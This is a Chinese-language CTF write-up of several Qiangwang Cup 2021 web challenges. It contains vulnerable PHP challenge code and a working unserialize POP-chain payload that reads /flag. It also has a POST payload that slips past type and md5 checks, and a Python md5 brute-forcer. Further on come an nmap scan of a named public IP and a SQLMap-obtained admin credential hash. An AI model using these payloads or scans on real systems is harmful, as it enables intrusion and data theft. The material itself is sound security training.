0x00 前言 强网杯的题目质量就是高,奈何没几个我会做的😣(还是太菜)
以下对从这次比赛所学习到的干货(主要是web方面)进行记录。
0x01 pop_master index.php 代码
1 2 3 4 5 6 7 8 <?php include "class.php" ;highlight_file(__FILE__ ); $a = $_GET ['pop' ];$b = $_GET ['argv' ];$class = unserialize($a );$class ->NGPaqV($b );
明显是考察反序列化,但打开class.php.txt
后就傻了。
好家伙,近17万行代码,这得有多少个类。虽然知道肯定很多类是来混淆的,但从中找出可利用的类进行构造,其工作量之大!写脚本找可行,但不会啊(流下了没有技术的泪水)。
赛后看师傅的wp,过滤的思路是这样的:
eval 没被引用,过滤
for 循环中会覆盖传入参数值,过滤
eval 前会覆盖值参数值,过滤
除了入口函数外,其他函数只被引用一次的,过滤
依此编写脚本(看不太懂QAQ),过滤完后找到关键的eval,构造POP链,获取flag。
0x02 [强网先锋]赌徒 目录爆破后得到www.zip
,下载后是index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <meta charset="utf-8" > <?php error_reporting(1 ); class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; public function __construct ( ) { echo "I think you need /etc/hint . Before this you need to see the source code" ; } public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello(); } public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ; } } class Info { private $phonenumber =123123 ; public $promise ='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; } } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; public function __get ($name ) { $function = $this ->a; return $function (); } public function Get_hint ($file ) { $hint =base64_encode(file_get_contents($file )); echo $hint ; return ; } public function __invoke ( ) { $content = $this ->Get_hint($this ->filename); echo $content ; } } if (isset ($_GET ['hello' ])){ unserialize($_GET ['hello' ]); }else { $hi = new Start(); } ?>
出现的魔术方法:
1 2 3 4 5 6 __construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #不可访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发
构造POP链
当用get方法传入一个hello参数后,因有反序列化的操作,会自动调用Start类中的__wakeup方法
__wakeup方法会执行sayhello()这个方法,如果name属性是Info类的一个对象,那么因为这个对象被当成字符串打印了,所以会自动调用Info类的toString方法
__toString方法返回file[‘filename’]的ffiillee[‘ffiilleennaammee’]属性,如果file[‘filename’]是Room的一个对象,因为Room类里没有ffiillee[‘ffiilleennaammee’]这个属性,这就相当于从不可访问的属性读取数据,所以会自动调用Room类的get方法
__get方法把a属性赋值给function,然后执行function方法,如果a属性是Room的一个对象,这就相当于将对象作为函数调用,所以会自动触发Room类的invoke方法
__invoke方法执行Get_hint函数,Get_hint()将flag以base64编码并打印出来
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Start { public $name ='guest' ; public $flag ='1' ; } class Info { private $phonenumber = 123123 ; public $promise = 'Ido' ; } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; } $a =new Start();$a ->name=new Info();$a ->name->file['filename' ]=new Room();$a ->name->file['filename' ]->a=new Room();echo serialize($a );?>
base64解码得到flag
0x03 [强网先锋]寻宝 key1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); function filter ($string ) { $filter_word = array ('php' ,'flag' ,'index' ,'KeY1lhv' ,'source' ,'key' ,'eval' ,'echo' ,'\$' ,'\(' ,'\.' ,'num' ,'html' ,'\/' ,'\,' ,'\'' ,'0000000' ); $filter_phrase = '/' .implode('|' ,$filter_word ).'/' ; return preg_replace($filter_phrase ,'' ,$string ); } if ($ppp ){ unset ($ppp ); } $ppp ['number1' ] = "1" ;$ppp ['number2' ] = "1" ;$ppp ['nunber3' ] = "1" ;$ppp ['number4' ] = '1' ;$ppp ['number5' ] = '1' ;extract($_POST ); $num1 = filter($ppp ['number1' ]); $num2 = filter($ppp ['number2' ]); $num3 = filter($ppp ['number3' ]); $num4 = filter($ppp ['number4' ]);$num5 = filter($ppp ['number5' ]); if (isset ($num1 ) && is_numeric($num1 )){ die ("非数字" ); } else { if ($num1 > 1024 ){ echo "第一层" ; if (isset ($num2 ) && strlen($num2 ) <= 4 && intval($num2 + 1 ) > 500000 ){ echo "第二层" ; if (isset ($num3 ) && '4bf21cd' === substr(md5($num3 ),0 ,7 )){ echo "第三层" ; if (!($num4 < 0 )&&($num4 == 0 )&&($num4 <= 0 )&&(strlen($num4 ) > 6 )&&(strlen($num4 ) < 8 )&&isset ($num4 ) ){ echo "第四层" ; if (!isset ($num5 )||(strlen($num5 )==0 )) die ("no" ); $b =json_decode(@$num5 ); if ($y = $b === NULL ){ if ($y === true ){ echo "第五层" ; include 'KeY1lhv.php' ; echo $KEY1 ; } }else { echo 'hello' ; die ("no" ); } }else { die ("no" ); } }else { die ("no" ); } }else { die ("no" ); } }else { die ("no111" ); } }
非数字且大于1024,1025a可绕过
科学计数法绕过
md5截断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import hashlibfrom multiprocessing.dummy import Pool as ThreadPooldef md5 (s ): return hashlib.md5(str (s).encode('utf-8' )).hexdigest() keymd5 = '4bf21cd' md5start = 0 md5length = 7 def findmd5 (sss ): key = sss.split(':' ) start = int (key[0 ]) end = int (key[1 ]) result = 0 for i in range (start, end): if md5(i)[0 :7 ] == keymd5: result = i print(result) break list =[] for i in range (10 ): list .append(str (10000000 *i) + ':' + str (10000000 *(i+1 ))) pool = ThreadPool() pool.map (findmd5, list ) pool.close() pool.join()
字母或浮点数绕过
让json解析为假即可
payload
1 ppp[number1]=1025a&ppp[number2]=1e9&ppp[number3]=61823470&ppp[number4]=abcdefg&ppp[number5]={'key':0}
key2
一开始确实没想到key2直接在一大堆doc文件中,里面还有几张图片迷惑,我是fw
早写个脚本找多好(参考wp)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import osimport docxdef dir_file (file_path ): file_list = [] for top, dirs, non_dirs in os.walk(file_path): for item in non_dirs: file_list.append(os.path.join(top, item)) return file_list docx_list = filter (lambda s: s.endswith('.docx' ), dir_file('five_month' )) for docx_file in docx_list: try : docx_object = docx.Document(docx_file) except docx.opc.exceptions.PackageNotFoundError: print('open failed: {}' .format (docx_file)) continue for para in docx_object.paragraphs: if "KEY2" in para.text: print(docx_file) print(para.text) break
提交两个key即可获得 flag
0x04 EasyWeb 目录爆破得到 /hint
访问后得到提示,Try to scan 35000-40000 ^ __ ^
使用nmap进行端口扫描
1 nmap 47.104.136.46 -p35000-40000
访问后使用SQLMap在登录处一把梭,拿到帐号密码
admin/99f609527226e076d668668582ac4420
进入后台,找到一处文件上传点,但比赛中没能利用成功,止于此(上传姿势还得多看看)。
0x05 wp [1] 2021强网杯 Web Writeup
[2] 强网杯-WriteUp by ChaMd5